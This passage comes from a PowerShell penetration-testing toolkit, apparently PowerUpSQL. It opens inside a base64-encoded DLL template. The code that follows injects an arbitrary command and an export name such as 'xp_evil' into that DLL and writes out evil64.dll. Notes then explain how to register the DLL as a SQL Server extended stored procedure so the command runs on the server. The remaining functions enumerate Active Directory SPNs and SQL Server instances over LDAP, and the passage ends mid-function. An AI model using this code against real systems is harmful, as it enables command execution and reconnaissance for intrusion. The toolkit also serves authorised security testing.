0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FIVJFUExBQ0VNRSFSRVBMQUNFTUUhUkVQTEFDRU1FI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    # Convert it to a byte array
    [Byte[]]$DllBytes = [Byte[]][Convert]::FromBase64String($DllBytes64)

    # This is the string in the DLL template that will need to be replaced
    $BufferString = 'REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME!REPLACEME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    # -----------------------------------------------
    # Setup command
    # -----------------------------------------------

    # Command to injectin into the DLL (if not defined by the user)
    IF(-not($Command))
    {
        $CommandString = 'echo This is a test. > c:\temp\test.txt && REM'
    }
    else
    {
        $CommandString = "$Command && REM"
    }

    # Calculate the length of the BufferString
    $BufferStringLen = $BufferString.Length

    # Calculate the length of the Command
    $CommandStringLen = $CommandString.Length

    # Check if the command is to long to be accepted by cmd.exe used by the system call
    if ($CommandStringLen -gt $BufferStringLen)
    {
        Write-Warning -Message ' Command is too long!'
        Break
    }
    else
    {
        $BuffLenDiff = $BufferStringLen - $CommandStringLen
        $NewBuffer = ' ' * $BuffLenDiff
        $CommandString = "$CommandString && REM $NewBuffer"
    }

    # Convert command string
    $CommandStringBytes = ([system.Text.Encoding]::UTF8).GetBytes($CommandString)

    # Get string value of the DLL file
    $S = [System.Text.Encoding]::ASCII.GetString($DllBytes)

    # Set the offset to 0
    $Index = 0

    # Get the starting offset of the buffer string
    $Index = $S.IndexOf($BufferString)

    if(($Index -eq 0) -and ($Index -ne -1))
    {
        throw("Could not find string $BufferString !")
        Break
    }
    else
    {
        Write-Information -MessageData " Found buffer offset for command: $Index"
    }

    # Replace target bytes
    for ($i = 0; $i -lt $CommandStringBytes.Length; $i++)
    {
        $DllBytes[$Index+$i] = $CommandStringBytes[$i]
    }

    # -----------------------------------------------
    # Setup proc / dll function export name
    # -----------------------------------------------
    $ProcNameBuffer = 'EVILEVILEVILEVILEVIL'

    # Set default dll name
    IF(-not($ExportName))
    {
        $ExportName = 'xp_evil'
    }        

    # Check function name length
    $ProcNameBufferLen = $ProcNameBuffer.Length
    $ExportNameLen = $ExportName.Length
    If ($ProcNameBufferLen -lt $ExportNameLen)
    {
        Write-Warning -Message ' The function name is too long!'
        Break
    }
    else
    {
        $ProcBuffLenDiff = $ProcNameBufferLen - $ExportNameLen
        $ProcNewBuffer = '' * $ProcBuffLenDiff
        #$ExportName = "$ExportName$ProcNewBuffer" # need to write nullbytes
    }

    # Get function name string offset
    $ProcIndex = 0
        
    # Get string value of the DLL file
    $S2 = [System.Text.Encoding]::ASCII.GetString($DllBytes)

    $ProcIndex = $S2.IndexOf($ProcNameBuffer)
        
    # Check for offset errors
    if(($ProcIndex -eq 0) -and ($ProcIndex -ne -1))
    {
        throw("Could not find string $ProcNameBuffer!")
        Break
    }
    else
    {
        Write-Information -MessageData " Found buffer offset for function name: $ProcIndex"
    }

    # Convert function name to bytes
    $ExportNameBytes = ([system.Text.Encoding]::UTF8).GetBytes($ExportName)

    # Replace target bytes
    for ($i = 0; $i -lt $ExportNameBytes.Length; $i++)
    {
        $DllBytes[$ProcIndex+$i] = $ExportNameBytes[$i]
    }

    # Get offset for nulls
    $NullOffset = $ProcIndex+$ExportNameLen
    Write-Information -MessageData " Found buffer offset for buffer: $NullOffset"        
    $NullBytes = ([system.Text.Encoding]::UTF8).GetBytes($ProcNewBuffer) 
        
    # Replace target bytes
    for ($i = 0; $i -lt $ProcBuffLenDiff; $i++)
    {
        $DllBytes[$NullOffset+$i] = $NullBytes[$i]
    }

    # ------------------------------------
    # Write DLL file to disk
    # ------------------------------------

    IF(-not($OutFile))
    {
        $OutFile = '.\evil64.dll'
    }

    Write-Verbose -Message "Creating DLL $OutFile"
    Write-Verbose -Message " - Exported function name: $ExportName"
    Write-Verbose -Message " - Exported function command: `"$Command`""        
    Write-Verbose -Message " - Manual test: rundll32 $OutFile,$ExportName"
    Set-Content -Value $DllBytes -Encoding Byte -Path $OutFile
    Write-Verbose -Message ' - DLL written'

    Write-Verbose -Message ' '
    Write-Verbose -Message 'SQL Server Notes'
    Write-Verbose -Message 'The exported function can be registered as a SQL Server extended stored procedure. Options below:'
    Write-Verbose -Message " - Register xp via local disk: sp_addextendedproc `'$ExportName`', 'c:\temp\myxp.dll'"        
    Write-Verbose -Message " - Register xp via UNC path: sp_addextendedproc `'$ExportName`', `'\\servername\pathtofile\myxp.dll`'"
    Write-Verbose -Message " - Unregister xp: sp_dropextendedproc `'$ExportName`'"
}
#endregion

#########################################################################
#
#region DISCOVERY FUNCTIONS
#
#########################################################################

# -------------------------------------------
# Function: Get-DomainSpn
# -------------------------------------------
# Author: Scott Sutherland
# Reference: http://social.technet.microsoft.com/wiki/contents/articles/5392.active-directory-ldap-syntax-filters.aspx
function Get-DomainSpn
{
    <#
            .SYNOPSIS
            Used to query domain controllers via LDAP. Supports alternative credentials from non-domain system
            Note: This will use the default logon server by default.
            .PARAMETER Username
            Domain account to authenticate to Active Directory.
            .PARAMETER Password
            Domain password to authenticate to Active Directory.
            .PARAMETER Credential
            Domain credential to authenticate to Active Directory.
            .PARAMETER DomainController
            Domain controller to authenticated to. Requires username/password or credential.
            .PARAMETER ComputerName
            Computer name to filter for.
            .PARAMETER DomainAccount
            Domain account to filter for.
            .PARAMETER SpnService
            SPN service code to filter for.
            .EXAMPLE
            PS C:\temp> Get-DomainSpn -SpnService MSSQL | Select-Object -First 2
 
            UserSid : 15000005210002431346712321821222048886811922073100
            User : SQLServer1$
            UserCn : SQLServer1
            Service : MSSQLSvc
            ComputerName : SQLServer1.domain.local
            Spn : MSSQLSvc/SQLServer1.domain.local:1433
            LastLogon : 6/24/2016 6:56 AM
            Description : This is a SQL Server test instance using a local managed service account.
 
            UserSid : 15000005210002431346712321821222048886811922073101
            User : SQLServiceAccount
            UserCn : SQLServiceAccount
            Service : MSSQLSvc
            ComputerName : SQLServer2.domain.local
            Spn : MSSQLSvc/SQLServer2.domain.local:NamedInstance
            LastLogon : 3/26/2016 3:43 PM
            Description : This is a SQL Server test instance using a domain service account.
            .EXAMPLE
            PS C:\temp> Get-DomainSpn -DomainController 10.0.0.1 -Username Domain\User -Password Password123!
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'Domain user to authenticate with domain\user.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Domain password to authenticate with domain\user.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Credentials to use when connecting to a Domain Controller.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
        [string]$DomainController,

        [Parameter(Mandatory = $false,        
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Computer name to filter for.')]
        [string]$ComputerName,

        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Domain account to filter for.')]
        [string]$DomainAccount,

        [Parameter(Mandatory = $false,        
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SPN service code.')]
        [string]$SpnService,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        if(-not $SuppressVerbose)
        {
            Write-Verbose -Message 'Getting domain SPNs...'
        }

        # Setup table to store results
        $TableDomainSpn = New-Object -TypeName System.Data.DataTable
        $null = $TableDomainSpn.Columns.Add('UserSid')
        $null = $TableDomainSpn.Columns.Add('User')
        $null = $TableDomainSpn.Columns.Add('UserCn')
        $null = $TableDomainSpn.Columns.Add('Service')
        $null = $TableDomainSpn.Columns.Add('ComputerName')
        $null = $TableDomainSpn.Columns.Add('Spn')
        $null = $TableDomainSpn.Columns.Add('LastLogon')
        $null = $TableDomainSpn.Columns.Add('Description')
        $TableDomainSpn.Clear()
    }

    Process
    {

        try
        {
            # Setup LDAP filter
            $SpnFilter = ''

            if($DomainAccount)
            {
                $SpnFilter = "(objectcategory=person)(SamAccountName=$DomainAccount)"
            }

            if($ComputerName)
            {
                $ComputerSearch = "$ComputerName`$"
                $SpnFilter = "(objectcategory=computer)(SamAccountName=$ComputerSearch)"
            }

            # Get results
            $SpnResults = Get-DomainObject -LdapFilter "(&(servicePrincipalName=$SpnService*)$SpnFilter)" -DomainController $DomainController -Username $Username -Password $Password -Credential $Credential

            # Parse results
            $SpnResults | ForEach-Object -Process {
                [string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ')
                [string]$SidString = $SidBytes -replace ' ', ''
                $Spn = $_.properties.serviceprincipalname.split(',')
                           
                foreach ($item in $Spn)
                {
                    # Parse SPNs
                    $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0]
                    $SpnService = $item.split('/')[0]

                    # Parse last logon
                    if ($_.properties.lastlogon)
                    {
                        $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g')
                    }
                    else
                    {
                        $LastLogon = ''
                    }

                    # Add results to table
                    $null = $TableDomainSpn.Rows.Add(
                        [string]$SidString,
                        [string]$_.properties.samaccountname,
                        [string]$_.properties.cn,
                        [string]$SpnService,
                        [string]$SpnServer, 
                        [string]$item,
                        $LastLogon,
                        [string]$_.properties.description
                    )
                }
            }
        }
        catch
        {
            "Error was $_"
            $line = $_.InvocationInfo.ScriptLineNumber
            "Error was in Line $line"
        }
    }

    End
    {
        # Check for results
        if ($TableDomainSpn.Rows.Count -gt 0)
        {
            $TableDomainSpnCount = $TableDomainSpn.Rows.Count
            if(-not $SuppressVerbose)
            {
                Write-Verbose -Message "$TableDomainSpnCount SPNs found on servers that matched search criteria."
            }
            Return $TableDomainSpn 
        }
        else
        {
            Write-Verbose -Message '0 SPNs found.'
        }
    }
}


# -------------------------------------------
# Function: Get-DomainObject
# -------------------------------------------
# Author: Will Schroeder
# Modifications: Scott Sutherland
function Get-DomainObject
{
    <#
            .SYNOPSIS
            Used to query domain controllers via LDAP. Supports alternative credentials from non-domain system
            Note: This will use the default logon server by default.
            .PARAMETER Username
            Domain account to authenticate to Active Directory.
            .PARAMETER Password
            Domain password to authenticate to Active Directory.
            .PARAMETER Credential
            Domain credential to authenticate to Active Directory.
            .PARAMETER DomainController
            Domain controller to authenticated to. Requires username/password or credential.
            .PARAMETER LdapFilter
            LDAP filter.
            .PARAMETER LdapPath
            Ldap path.
            .PARAMETER $Limit
            Maximum number of Objects to pull from AD, limit is 1,000.".
            .PARAMETER SearchScope
            Scope of a search as either a base, one-level, or subtree search, default is subtree..
            .EXAMPLE
            PS C:\temp> Get-DomainObject -LdapFilter "(&(servicePrincipalName=*))"
            .EXAMPLE
            PS C:\temp> Get-DomainObject -LdapFilter "(&(servicePrincipalName=*))" -DomainController 10.0.0.1 -Username Domain\User -Password Password123!
            .Note
            This was based on Will Schroeder's Get-ADObject function from https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerView/powerview.ps1
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'Domain user to authenticate with domain\user.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Domain password to authenticate with domain\user.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Credentials to use when connecting to a Domain Controller.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        HelpMessage = 'Domain controller for Domain and Site that you want to query against.')]
        [string]$DomainController,

        [Parameter(Mandatory = $false,
        HelpMessage = 'LDAP Filter.')]
        [string]$LdapFilter = '',

        [Parameter(Mandatory = $false,
        HelpMessage = 'LDAP path.')]
        [string]$LdapPath,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Maximum number of Objects to pull from AD, limit is 1,000 .')]
        [int]$Limit = 1000,

        [Parameter(Mandatory = $false,
        HelpMessage = 'scope of a search as either a base, one-level, or subtree search, default is subtree.')]
        [ValidateSet('Subtree','OneLevel','Base')]
        [string]$SearchScope = 'Subtree'
    )
    Begin
    {
        # Create PS Credential object
        if($Username -and $Password)
        {
            $secpass = ConvertTo-SecureString $Password -AsPlainText -Force
            $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($Username, $secpass)                
        }        

        # Create Create the connection to LDAP
        if ($DomainController)
        {
            $objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname
            
            # add ldap path
            if($LdapPath)
            {
                $LdapPath = '/'+$LdapPath+','+$objDomain
                $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password
            }
            else
            {
                $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password
            }
            
            $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
        }
        else
        {
            $objDomain = ([ADSI]'').distinguishedName
            
            # add ldap path
            if($LdapPath)
            {
                $LdapPath = $LdapPath+','+$objDomain
                $objDomainPath  = [ADSI]"LDAP://$LdapPath"
            }
            else
            {
                $objDomainPath  = [ADSI]''
            }
              
            $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath
        }

        # Setup LDAP filter
        $objSearcher.PageSize = $Limit
        $objSearcher.Filter = $LdapFilter
        $objSearcher.SearchScope = 'Subtree'
    }

    Process
    {        
        try
        {
            # Return object
            $objSearcher.FindAll() | ForEach-Object -Process {
                $_
            }
        }
        catch
        {
            "Error was $_"
            $line = $_.InvocationInfo.ScriptLineNumber
            "Error was in Line $line"
        }                
    }

    End
    {
    }
}

# -------------------------------------------
# Function: Get-SQLInstanceDomain
# -------------------------------------------
# Author: Scott Sutherland
Function  Get-SQLInstanceDomain 
{
    <#
            .SYNOPSIS
            Returns a list of SQL Server instances discovered by querying a domain controller for systems with registered MSSQL service principal names.
            The function will default to the current user's domain and logon server, but an alternative domain controller can be provided.
            UDP scanning of management servers is optional.
            .PARAMETER Username
            Domain user to authenticate with domain\user.
            .PARAMETER Password
            Domain password to authenticate with domain\user.
            .PARAMETER Credential
            Credentials to use when connecting to a Domain Controller.
            .PARAMETER DomainController
            Domain controller for Domain and Site that you want to query against. Only used when username/password or credential is provided.
            .PARAMETER ComputerName
            Domain computer name to filter for.
            .PARAMETER DomainAccount
            Domain account to filter for.
            .PARAMETER CheckMgmt
            Performs UDP scan of servers with registered MSServerClusterMgmtAPI SPNs to help find additional SQL Server instances.
            .PARAMETER UDPTimeOut
            Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain -Verbose
            VERBOSE: Grabbing SQL Server SPNs from domain...
            VERBOSE: Getting domain SPNs...
            VERBOSE: Parsing SQL Server instances from SPNs...
            VERBOSE: 35 instances were found.
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com
            DomainAccountSid : 1500000521000123456712921821222049996811922123456
            DomainAccount : SQLServer1$
            DomainAccountCn : SQLServer1
            Service : MSSQLSvc
            Spn : MSSQLSvc/SQLServer1.domain.com
            LastLogon : 6/22/2016 9:00 AM
            [TRUNCATED]
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain -Verbose -CheckMgmt
            PS C:\> Get-SQLInstanceDomain -Verbose
            VERBOSE: Grabbing SQL Server SPNs from domain...
            VERBOSE: Getting domain SPNs...
            VERBOSE: Parsing SQL Server instances from SPNs...
            VERBOSE: 35 instances were found.
            VERBOSE: Getting domain SPNs...
            VERBOSE: 10 SPNs found on servers that matched search criteria.
            VERBOSE: Performing a UDP scan of management servers to obtain managed SQL Server instances...
            VERBOSE: - MServer1.domain.com - UDP Scan Start.
            VERBOSE: - MServer1.domain.com - UDP Scan Complete.
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com
            DomainAccountSid : 1500000521000123456712921821222049996811922123456
            DomainAccount : SQLServer1$
            DomainAccountCn : SQLServer1
            Service : MSSQLSvc
            Spn : MSSQLSvc/SQLServer1.domain.com
            LastLogon : 6/22/2016 9:00 AM
            [TRUNCATED]
            .EXAMPLE
            PS C:\> Get-SQLInstanceDomain -DomainController 10.10.10.1 -Username domain\user -Password SecretPassword123!
            VERBOSE: Grabbing SQL Server SPNs from domain...
            VERBOSE: Getting domain SPNs...
            VERBOSE: Parsing SQL Server instances from SPNs...
            VERBOSE: 35 instances were found.
 
            ComputerName : SQLServer1.domain.com
            Instance : SQLServer1.domain.com
            DomainAccountSid : 1500000521000123456712921821222049996811922123456
            DomainAccount : SQLServer1$
            DomainAccountCn : SQLServer1
            Service : MSSQLSvc
            Spn : MSSQLSvc/SQLServer1.domain.com
            LastLogon : 6/22/2016 9:00 AM
            [TRUNCATED]
 
                 
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'Domain user to authenticate with domain\user.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
